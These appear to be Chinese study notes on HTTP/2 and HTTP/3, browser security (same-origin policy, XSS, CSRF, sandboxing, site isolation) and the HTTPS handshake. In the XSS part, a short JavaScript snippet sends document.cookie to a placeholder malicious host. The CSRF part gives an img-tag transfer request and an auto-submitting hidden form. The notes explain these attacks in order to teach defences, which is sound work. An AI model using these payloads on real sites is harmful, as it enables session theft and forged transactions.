HTTP/1.1引入Chunk transfer机制（服务器将数据分割成若干个任意大小的数据块，每个数据块发送时附上上个数据块的长度，最后使用一个零长度的块作为发送数据完成的标志）

5：客户端Cookie、安全机制

HTTP/1.1 引入了客户端Cookie机制和安全机制

HTTP2（2015.5发布）

HTTP/1.1对网络效率作了优化：

增加了持久连接

浏览器为每个域名最多同时维护6个TCP持久连接

使用CDN的实现域名分片机制

HTTP/1.1的主要问题

带宽：每秒最大发送或者接收的字节数，每秒能发送的最大字节数为上行带宽，每秒能接收的最大字节数称为下行带宽

HTTP/1.1对带宽的利用率不理想，很难将带宽用满

==>

影响原因：

TCP的慢启动

慢启动：一个TCP连接建立后，进入发送数据状态，刚开始TCP协议会采用一个很慢的速度去发送数据，然后慢慢加快，直到发送数据的速度达到一个理想状态；

慢启动是TCP为了减少网络拥塞的一种策略；

有一些关键资源文件本来不大（如HTML、CSS文件），因为慢启动导致耗费时间比正常时间要多

同时开启多条TCP连接，这些连接会竞争固定的带宽

多条TCP连接之间不能协商让哪些关键资源优先下载

HTTP/1.1队头阻塞的问题

因为阻塞会造成后续请求进入等待，从而导致带宽、CPU被浪费

HTTP/2的多路复用

解决慢启动：一个域名只使用一个TCP长连接来传输数据，整个页面资源的下载过程只需要一次慢启动，同时避免了多个TCP连接竞争带宽所带来的问题；

解决队头阻塞的问题：多路复用机制——每个请求都有一个对应的ID，浏览器可以随时将请求发送给服务器，服务器收到后根据喜好决定优先返回哪些内容（比如服务器有xx响应头的缓存，先返回响应头，再返回响应体，最终拼接成完整的HTTP响应数据）

——好处：可以将请求一帧一帧地去传输，服务器可以返回优先级高的请求。

底层实现：

添加了一个二进制分帧层，

数据经过处理之后会转换为一个个带有请求ID编号的帧，通过协议栈发给浏览器，服务器会将相同ID的帧合并为一条完整的请求信息，然后分别将响应行、头、体发送给二进制分帧层。

其他特性

1.可设置请求的优先级

HTTP/2提供请求优先级，可以再发送请求时标上该请求的优先级，服务器收到请求后会根据优先级进行处理。

（NetWork右键priority查看）

2.服务器推送

HTTP/2可将数据提前推送到浏览器

（若服务器知道HTML页面会引用到哪几个重要的JS和CSS文件，会在接收到HTML请求后，附带将文件一并发送到浏览器，加快了首次打开页面的速度）

3.头部压缩

HTTP/2对请求/响应头进行了压缩

HTTP3

HTTP2的缺陷：

TCP的队头阻塞

不同于HTTP/1.1，浏览器为每个域名开启了6个TCP链接，一个阻塞不影响其他5个，HTTP/2多个请求跑在一个管道；

随着丢包率增加，HTTP/2传说效率也会增加，测试数据表面，丢包率2%时，HTTP/1.1的传输效率反而比HTTP/2好

TCP建立连接的延时

TCP的握手过程也会影响传输效率

网络延迟RTT（Round Trip Time）

HTTPS还需要使用TLS协议进行安全传输，TLS也需要一个握手过程

==>

TCP建立连接需要三次握手，小号1.5个RTT；

进行TLS连接，1.2和1.3版本不一样，大致需要1~2个RTT

浏览器和服务器远近影响RTT时间从而影响到用户体验

TCP协议僵化

改进TCP协议很困难：

1.中间设备（路由器、防火墙、NART、交换机等）僵化，它们很少升级且使用了大量的TCP特性；

2.操作系统，通常TCP协议

通过操作系统内核实现，应用程序只能使用不能修改，而操作系统的更新滞后于软件更新

QUIC协议

由于中间设备只认TCP和UDP，HTTP选择基于UDP实现了类似TCP的多路数据流、传输可靠性等功能；

QUIC使用的是TLS1.3，减少了握手花费的RTT个数；

与HTTP/2的多路复用功能不同，QUIC实现了再同一物理连接上可以有多个独立的逻辑数据流，实现了数据流的单独传输，解决了TCP中队头阻塞的问题；

实现快速握手，QUIC基于UDP，可以使用0-RTT，1-RTT建立连接

挑战

服务器和浏览器端对HTTP/3没有提供完整的支持，chrome支持的QUIC版本和官方的存在较大差异；

部署HTTP/3存在问题，系统内核对UDP的优化没有达到TCP的程度；

中间设备对UDP的优化程度低于TCP，使用QUIC协议时，大约有3%~7%的丢包率

------------------------

浏览器安全

可分为三大块——Web页面安全、浏览器网络安全和浏览器系统安全

同源策略（Same-origin policy）：

如果两个URL的协议、域名和端口相同，这两个URL是同源的，浏览器默认同源之间可以相互访问资源和操作DOM，两个不同源之间想相互访问或操作DOM，有同源策略所制约

表现

DOM层面

同源策略限制了来自不同源的JS脚本对当前DOM对象读和写的操作

数据层面

同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据

网络层面

同源策略限制了通过XMLHttpRequest等方式将站点的数据发送给不同源的站点

权衡利弊

页面中可以嵌入第三方资源

function onClick(){

let url = 'http//malicious.com?cookie = {document.cookie}'

open(url)

}

onClick()

XSS跨站点脚本攻击，浏览器引入内容安全策略CSP,让服务器决定浏览器能够加载哪些资源

跨域资源共享

使用XHMLHttpRequest和Fetch无法直接进行跨域请求；

引入跨域资源共享（CORS），该机制可以进行跨域访问控制，从而使跨域数据传输得以安全进行

跨文档消息机制

可以通过window.postMessage的JS接口和不同源的DOM进行通信

跨站脚本攻击XSS

Cross Site Scripting，为了和CSS区分简称XSS；往HTML文件或者DOM中注入恶意脚本

最开始时，攻击通过跨域来实现，现在注入恶意代码的方式越来越多了，所以是否跨域注入脚本不是唯一的注入手段

窃取Cookie信息，通过document.cookie获取cookie信息，然后通过XMLHttpRequest或者Fetch加上CORS功能将数据发送给恶意服务器，拿到Cookie信息后，可以模拟用户登录，进行转账等；

监听用户行为，使用addEventListener接口来监听键盘事件，比如可获取用户输入的信用卡等信息发送给服务器；

通过修改DOM伪造假的登录窗口，欺骗用户输入重要信息

在页面生成浮窗广告，影响用户体现

如何注入

存储型XSS攻击

利用站点漏洞将恶意JS代码提交到网站的数据库中

==>当用户向网站请求包含了恶意JS脚本的页面

==>当用户浏览该页面的时候，恶意脚本就会将用户的 Cookie 信息等数据上传到恶意服务器

反射型XSS攻击

用户将一段恶意代码提交给web服务器，然后服务器又将恶意代码反射给浏览器端

（需要用户点击）

基于DOM的XSS攻击

不牵涉到页面web服务器，在web资源传输过程或者用户使用也免得过程中修改web页面的数据

如何防御

存储型XSS攻击和反射型XSS攻击需要经过web服务器处理——服务端的安全漏洞；

基于DOM的XSS攻击在浏览器端完成——前端的安全漏洞

对脚本进行过滤或转码

在服务器端将一些关键的字符进行转码（比如过滤掉<script>标签的内容，或将<script>转换为&lt;scrpit）

利用CSP

CSP的功能：

1.限制加载其他域下的资源文件；

2.禁止向第三方域提交数据

3.禁止执行内联和未授权的脚本

4.提供上报机制，帮助发现XSS攻击

使用HttpOnly属性

由于很多XSS盗用Cookie，所以可以用HttpOnly属性保护Cookie的安全

通常服务器可以将某些Cookie设置成HttpOnly标志（通过HTTP响应头来设置）

被标记的Cookie只能使用在请求过程中，无法通过JS来读取这段Cookie；

可以通过Application查看Cookie是否被标记了HttpOnly

CRSF攻击

Cross-siterequest forgery

利用用户的登录状态，通过第三方站点犯罪

三种方式：

自动发起Get请求

将转账的请求接口隐藏在img标签内

<img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">

如果服务器没有对请求做判断，会认为该请求是一个转账请求

自动发起POST请求

伪造POST请求，但用户打开黑客站点，会自动提交POST请求

（比如构建一个隐藏的表单，表单内容是转账接口）

<script>document.getElenmentId('hacker-form').submit();</script>

引诱用户点击链接

利用多种方式诱惑用户点击链接

CSRF不需要将恶意代码注入用户的界面，仅仅利用服务器的漏洞和用户的登录状态来实施攻击

如何防御？

发起CSRF的三个必要条件：

目标站点一定要有CSRF漏洞

用户要等路过目标站点，且在浏览器上保持该站点的登录状态

需要客户打开一个第三方站点

防御途径：

利用好Cookie的SanmeSite属性

1.如果是从第三方站点发起的请求，需要浏览器禁止发送某些关键Cookie数据到服务器；

2.如果是同一个站点发起的请求，需要保证Cookie数据正常发送

SameSite通常有三个值：

Strict -最严格，完全禁止第三方Cookie

Lax -相对宽松，在跨站点情况下，从第三方站点的链接打开和从第三方站点提交Get方式的表单都会携带Cookie（若使用Post，img标签加载Url，则不会）

None - 任何情况下都会发送Cookie数据

验证请求的来源站点

在服务器验证来源的站点（CSRF的攻击大多来自于第三方站点）

如何判断请求是否来自第三方站点：

Refer - Http请求头的一个字段，记录了该Http请求的来源地址

（可以通过Refer告诉服务器Http请求的来源，Refer Policy）

Origin - 一些重要的场合，通过XMLHttpRequest、Fetch发起跨站请求或者通过Post方法发送请求，都会带上Origin属性；

origin只包含域名信息（某些站点出于安全考虑不将详细路径暴露给服务器）

服务器优先判断Origin，没有包含Origin属性，再根据实际情况判断是否使用Refer值

CSRF Token

在浏览器向服务器发送请求时，服务器生成CSRF Token（字符串），然后将字符串植入返回的页面

==>在浏览端若要发起转账请求，需要带上页面上的CSRF Token，然后服务器会验证Token是否合法；是从第三方站点发出的请求，将无法获取到CSRF Token的值

沙盒：页面和系统之间的隔离墙

缓冲区溢出（浏览器存在漏洞，黑客向浏览器中注入恶意程序，最常见的攻击方式）

XSS攻击无法对操作系统进行攻击，而通过浏览器漏洞进行的攻击可以入侵到浏览器进程内部，可以读取和修改浏览器内部的任意内容，甚至可以穿透浏览器在用户的操作系统上安装恶意软件，监听输入信息，以及读取用户硬盘上的文件内容

现代浏览器的多进程架构

浏览器被划分为

浏览器内核-浏览器主进程+网络进程+GPU进程

+

渲染内核-渲染进程

两个模块如何配合？

打开一个页面

==>所有的网络资源通过浏览器内核下载，下载后资源通过IPC提交给渲染进程

==>渲染进程对资源进行解析、绘制等操作，最终生成一幅图片

==>将图片显示到界面由浏览器内核模块负责

（IPC是浏览器内核和渲染进程之间的通信方式）

安全沙箱

将渲染进程和操作系统隔离；

最小的保护单位是进程

（单进程浏览器需要频繁访问或者修改操作系统的数据，所以无法被安全沙箱保护）

如何影响各个模块功能

安全沙箱限制进程对操作系统资源的访问和修改，所以如果将安全沙箱应用到某个进程，这个进程必须没有读写操作系统的功能（比如读写本地文件、发起网络请求、调用GPU接口等）

==>

理清职责：

渲染进程：HTML解析、CSS解析、图片解码、JS执行、布局、绘制、XML解析；

浏览器内核：Cookie存储、Cache存储、网络请求、文件读取、下载管理、SSL/TSL、浏览器窗口管理

由于渲染进程需要沙箱保护，所以需要把渲染进程内部涉及到和系统交互的功能转移到浏览器内核实现

1.持久存储

渲染进程内部有访问Cookie和上传文件的需求，现代浏览器将读写文件的操作全部放到了浏览器内核中实现，然后通过IPC将操作结果转发给渲染进程；

==>如下文件内容的读写都是在浏览器内核中实现的：

存储Cookie数据的读写，通常浏览器内核会维护一个存放所有Cookie的数据库，当渲染进程通过JS来读取Cookie，渲染会通过IPC将读取Cookie的信息发送给浏览器内核，然后浏览器内核读取Cookie之后再返回给渲染进程

2.网络访问

有了安全沙箱的保护，渲染进程内部也不能直接访问网络

==>访问需要通过浏览器内核，浏览器在处理url请求之前，会检查渲染进程是否有权限请求该url（例如检查XMLHttpRequest

或者Fetch是否是跨站点请求，或者检测HTTPS的站点中是否包含HTTP的请求）

3.用户交互

通常实现一个UI程序，操作系统会提供一个界面，该界面允许应用程序与用户交互（例如Windows提供的HWND，Linux提供的X Window——统称为窗口句柄），应用程序可以在窗口句柄上进行绘制和接受键盘鼠标消息

==>安全沙箱让渲染进程不能直接访问窗口句柄（限制渲染进程监控到用户的输入事件）

==>

渲染进程需要渲染出位图，将生成好的位图发送到浏览器内核，然后浏览器内核将位图复制到屏幕上；

操作系统将用户输入事件传递给浏览器内核（而不是直接传给渲染进程），浏览器内核根据浏览器界面的状态判断如何调度事件（若焦点位于浏览器地址栏，则输入事件会在浏览器内核内部处理；若焦点在页面的区域内，浏览器内核会将输入事件转发个渲染进程）

站点隔离（Site Isolation）

Chrome将同一站点（包含相同根域名和相同协议的地址）中相互关联的页面放到同一个渲染进程中执行

==>

最开始chrome划分渲染进程以标签页为单位（整个标签页会被划分给某个渲染进程），但一个标签页可能包含多个iframe，这些iframe可能来自不同的站点，导致多个不同站点中的内容通过iframe同时运行在同一个渲染进程中

==>

目前操作系统有两个A级漏洞——

幽灵（spectre）和熔毁（meltdown），处理器架构导致，通过这两个漏洞可以入侵渲染进程

==>

chrome重构代码，将标签级的渲染进程重构为iframe级的渲染进程，再按照同一站点的策略分配渲染进程

---------------------------------------

网络安全协议HTTPS

浏览器安全-页面安全/系统安全/网络安全

期初HTTP保持明文传输数据的特征，浏览器-服务器过程中可能存在中间人攻击（窃取/伪造/篡改）

==>将 HTTP 数据提交给 TCP 层之后，数据会经过用户电脑、WiFi 路由器、运营商和目标服务器，在这中间的每个环节中，数据都有可能被窃取或篡改

在HTTP协议栈中引入安全层

将 HTTP 数据提交给 TCP 层之后，数据会经过用户电脑、WiFi 路由器、运营商和目标服务器，在这中间的每个环节中，数据都有可能被窃取或篡改

==>

HTTPS协议栈（相较于HTTP，在HTTP和TCP之间插入一个安全层）：

HTTP

安全层SSL/TLS

TCP

IP

数据链路层

安全层职责：

对发起HTTP请求的数据进行加密操作

对接收到HTTP的内容进行解密操作

第一版：使用对称加密

加解密使用相同的密钥

在HTTPS发送数据之前，浏览器和服务器之间要协商加密方式和密钥：

浏览器发送它支持的加密套件列表（指浏览器能支持多少种加密方法列表）和一个随机数client-random

==>

服务器会从加密套件列表中选取一个加密套件，生成一个随机数service-random，并将其和加密套件返回给浏览器

==>

浏览器和服务器分别返回确认消息

==>

浏览器和服务器用相同的方法将client-random和service-random混合起来生成一个密钥master secret，有了mastersecret和加密套件之后，双方进行数据的加密传输

==>

问题：

传输client-random和service-random的过程是明文的，且利用随机数生成密钥的算法是公开的

第二版：使用非对称加密

非对称加密算法只有A、B两把密钥，使用A加密只能使用B来解密

服务器会把一个密钥以明文形式发送给浏览器——公钥；

留下一把密钥，只有服务器知道，不对任何人公开——密钥

请求流程：

浏览器发送加密套件列表给服务器

==>

服务器选择一个加密套件，使用非对称加密时服务器上需要有用于浏览器加密的公钥和服务器解密HTTP数据的私钥；服务器将加密套件+公钥发送给浏览器

==>

浏览器和服务器返回确认消息

==>

问题：

非对称加密的效率太低，影响加解密数据的速度和用户打开页面的速度；

无法保证服务器发送给浏览器的数据安全（黑客也能获得公钥）

第三版：对称加密和非对称加密搭配使用

传输数据阶段使用对称加密，但是对称加密的密钥采用非对称加密传输

请求流程：

浏览器向服务器发送非对称加密套件列表+加密套件列表+随机数client-random

==>

服务器保存随机数client-random，选择对称加密和非对称加密的套件，生成随机数service-random，向浏览器发送选择的加密套件+service-random+公钥

==>

浏览器保存公钥，利用client-random和service-random，计算出pre-master，利用公钥对pre-master加密，向服务器发送加密后的数据

==>

服务器拿出私钥，解密pre-master数据，返回确认消息

==>

服务器和浏览器使用一套方法生成密钥；且由于pre-master经过公钥加密后传输，黑客无法获取到pre-master，无法生成密钥，从而保证传输过程中数据的安全性

第四版：添加数字证书

问题：

黑客通过DNS劫持将某网站的IP地址替换成黑客的I地址，这样访问的就是黑客的服务器，黑客可以在自己的服务器上实现公钥的私钥

==>

数字证书：

通过数字证书向浏览器证明服务器的身份；

数字证书里包含了服务器公钥；

==>

相较于第三版Https协议：

服务器没有直接返回公钥给浏览器，而是返回了数字证书，公钥包含在数字证书里；

在浏览器端多了一个证书验证的操作，验证之后才能继续后续流程。

数字证书的申请和验证

准备一套私钥和公钥，私钥自己留着使用

向CA机构提交公钥、公司、站点等信息并等待验证，认证过程可能收费

CA通过线上、线下等多种渠道验证提供信息的真实性

信息审核通过，CA签发认证的数字证书，包含公钥、C的信息、有效时间、证书序列号，信息都明文的，同时包含一个C生成的签名

==>

数字签名：

CA 使用Hash 函数来计算极客时间提交的明文信息，并得出信息摘要；

==>

然后 CA 再使用它的私钥对信息摘要进行加密，加密后的密文就是 CA 颁给极客时间的数字签名

浏览器如何验证数字证书

浏览器向XX服务器发出请求，服务器会返回数字证书给浏览器

==>

浏览器接收后，对数字证书进行验证（采用CA签名时相同的Hash函数来计算得到信息摘要A，再利用对应CA的公钥解密签名数据得到信息摘要B，二者一致则确认证书合法）

==>

有时CA可能比较小众，浏览器会继续查找给这个CA颁发证书的CA，再以同样的方式验证它上级CA的可靠性（一般情况下，操作系统中会内置信任的顶级CA的证书信息），如果CA链中没有找到浏览器内置的顶级的CA，证书也会判定非法

==>

申请和使用证书过程中的注意项：

申请数字证书是不需要提供私钥的，要确保私钥永远只能由服务器掌握；

数字证书最核心的是 CA 使用它的私钥生成的数字签名；

内置CA对应的证书是根证书，根证书是最权威的机构，它们为自己签名——称为自签名证书